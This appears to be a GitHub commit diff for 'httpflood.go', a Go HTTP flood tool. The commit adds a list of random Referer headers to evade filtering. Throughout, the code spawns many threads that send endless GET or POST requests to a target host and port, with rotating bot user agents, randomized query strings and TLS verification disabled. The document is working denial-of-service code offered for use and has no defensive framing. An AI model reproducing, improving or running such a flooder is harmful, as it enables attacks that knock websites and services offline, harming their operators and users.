Skip to content

Commit 7cbe7e8

Browse files
authored
Added random referer
1 parent ca87840 commit 7cbe7e8

File tree

1 file changed

+28
-22
lines changed

1 file changed

+28
-22
lines changed

httpflood.go

Lines changed: 28 additions & 22 deletions
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,6 @@ import (
2020
)
2121

2222
var (
23-
useragent []string
2423
abcd = "asdfghjklqwertyuiopzxcvbnmASDFGHJKLQWERTYUIOPZXCVBNM"
2524
start = make(chan bool)
2625
acceptall = []string{
@@ -55,6 +54,22 @@ var (
5554
"Googlebot-News",
5655
"Googlebot-Video/1.0",
5756
}
57+
referers = []string{
58+
"https://www.google.com/search?q=",
59+
"https://check-host.net/",
60+
"https://www.facebook.com/",
61+
"https://www.youtube.com/",
62+
"https://www.fbi.com/",
63+
"https://www.bing.com/search?q=",
64+
"https://r.search.yahoo.com/",
65+
"https://www.cia.gov/index.html",
66+
"https://vk.com/profile.php?auto=",
67+
"https://www.usatoday.com/search/results?q=",
68+
"https://help.baidu.com/searchResult?keywords=",
69+
"https://steamcommunity.com/market/search?q=",
70+
"https://www.ted.com/search?q=",
71+
"https://play.google.com/store/search?q=",
72+
}
5873
)
5974

6075
func init() {
@@ -90,11 +105,6 @@ func getuseragent() string {
90105
}
91106
return spider[rand.Intn(len(spider))]
92107
}
93-
func generate_ua(threads int) {
94-
for i := 0; i < threads; i++ {
95-
useragent = append(useragent, getuseragent())
96-
}
97-
}
98108

99109
func contain(char string, x string) int { //simple compare
100110
times := 0
@@ -108,18 +118,17 @@ func contain(char string, x string) int { //simple compare
108118
return ans
109119
}
110120

111-
func flood() {
112-
addr := os.Args[1]
113-
addr += ":"
114-
addr += os.Args[2]
121+
func flood(ip, port, page, mode string) {
122+
addr := ip + ":" + port
115123
header := ""
116-
if os.Args[5] == "get" {
124+
if mode == "get" {
117125
header += " HTTP/1.1\r\nHost: "
118126
header += addr + "\r\n"
119127
if os.Args[7] == "nil" {
120128
header += "Connection: Keep-Alive\r\nCache-Control: max-age=0\r\n"
121-
header += "User-Agent: " + useragent[rand.Intn(len(useragent))] + "\r\n"
129+
header += "User-Agent: " + getuseragent() + "\r\n"
122130
header += acceptall[rand.Intn(len(acceptall))]
131+
header += referers[rand.Intn(len(referers))]
123132
} else {
124133
fi, err := os.Open(os.Args[7])
125134
if err != nil {
@@ -136,7 +145,7 @@ func flood() {
136145
header += string(a) + "\r\n"
137146
}
138147
}
139-
} else if os.Args[5] == "post" {
148+
} else if mode == "post" {
140149
data := ""
141150
if os.Args[7] != "nil" {
142151
fi, err := os.Open(os.Args[7])
@@ -161,16 +170,16 @@ func flood() {
161170
}
162171
header := "POST " + os.Args[4] + " HTTP/1.1\r\nHost: " + addr + "\r\n"
163172
header += "Connection: Keep-Alive\r\nContent-Type: x-www-form-urlencoded\r\nContent-Length: " + strconv.Itoa(len(data)) + "\r\n"
164-
header += "Accept-Encoding: gzip, deflate\r\n\n" + data
173+
header += "Accept-Encoding: gzip, deflate\r\n\n" + data + "\r\n"
165174
}
166175
var s net.Conn
167176
var err error
168177
<-start //received signal
169178
for {
170-
if os.Args[2] == "443" {
179+
if port == "443" {
171180
cfg := &tls.Config{
172181
InsecureSkipVerify: true,
173-
ServerName: os.Args[1], //simple fix
182+
ServerName: ip, //simple fix
174183
}
175184
s, err = tls.Dial("tcp", addr, cfg)
176185
} else {
@@ -185,13 +194,11 @@ func flood() {
185194
request += "GET " + os.Args[4] + page
186195
request += strconv.Itoa(rand.Intn(2147483647)) + string(string(abcd[rand.Intn(len(abcd))])) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))]) + string(abcd[rand.Intn(len(abcd))])
187196
}
188-
request += header + "\r\n\r\n"
197+
request += header + "\r\n"
189198
s.Write([]byte(request))
190-
//time.Sleep(time.Millisecond * 200)//Sent delay can reduce i/o usage
191199
}
192200
s.Close()
193201
}
194-
//time.Sleep(time.Second * 1)
195202
//fmt.Println("Threads@", threads, " Hitting Target -->", url)// For those who like share to skid.
196203
}
197204
}
@@ -203,7 +210,7 @@ func main() {
203210
fmt.Println(" || || || || || || || || || || || || || || ")
204211
fmt.Println(".|| ||. `|..' `|..' ||..|' .||. .||. `|..|' `|..|' `|..||. ")
205212
fmt.Println(" || ")
206-
fmt.Println(" .|| Golang version 1.8 ")
213+
fmt.Println(" .|| Golang version 1.9 ")
207214
fmt.Println(" C0d3d By L330n123")
208215
fmt.Println("==========================================================================")
209216
if len(os.Args) != 8 {
@@ -225,12 +232,11 @@ func main() {
225232
} else {
226233
page = "&"
227234
}
228-
generate_ua(threads)
229235
input := bufio.NewReader(os.Stdin)
230236

231237
for i := 0; i < threads; i++ {
232238
time.Sleep(time.Microsecond * 100)
233-
go flood() // Start threads
239+
go flood(os.Args[1], os.Args[2], os.Args[4], os.Args[5]) // Start threads
234240
fmt.Printf("\rThreads [%.0f] are ready", float64(i+1))
235241
os.Stdout.Sync()
236242
//time.Sleep( time.Millisecond * 1)

0 commit comments

Comments
 (0)